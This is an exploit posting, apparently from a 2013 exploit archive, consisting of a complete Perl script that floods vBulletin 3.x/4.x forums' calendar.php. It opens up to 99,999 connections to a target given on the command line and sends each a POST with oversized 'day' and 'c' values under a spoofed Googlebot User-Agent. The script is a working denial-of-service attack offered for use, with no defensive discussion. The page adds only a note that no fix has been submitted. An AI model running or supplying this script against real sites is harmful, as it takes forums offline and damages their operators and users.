Vbulletin All Version (calendar Page) Denial of Service

2013-01-29 18:55:39
Posted by: irist.ir

#!/usr/bin/perl
#####################################
# Vbulletin All Version (calendar Page) Denial of Service
# Version: 3.*.* & 4.*.*
# Code Written By Amir
# Www.IrIsT.Ir
# Greats : B3HZ4D - C0dex - TaK.FaNaR - F@rid - Beni_Vanda & All Member In IrIsT.Ir
#####################################
use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if(!$ARGV[1])
{
print "################################################# \n";
print "## Vbulletin calendar Denial of Service\n";
print "## Discoverd By Amir \n";
print "## Www.IrIsT.Ir \n";
print "################################################# \n";
print "## [host] [path] \n";
print "## host.com /Vbulletin/\n";
print "################################################# \n";
exit();
}
for($i=0; $i<99999; $i++)
{
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "80") or die("[-] Connection faild.\n");
$post = "?do=getinfo&day=111111111111111111111111111111111111111111111111111111111111&c=11111111111111111111";
$pack.= "POST " .$path. "/calendar.php HTTP/1.1\r\n";
$pack.= "Host: " .$host. "\r\n";
$pack.= "User-Agent: Googlebot/2.1\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: " .length($post). "\r\n\r\n";
$pack.= $post;
print $socket $pack;
syswrite STDOUT, "*";
}

Fixes

No fixes

In order to submit a new fix you need to be registered.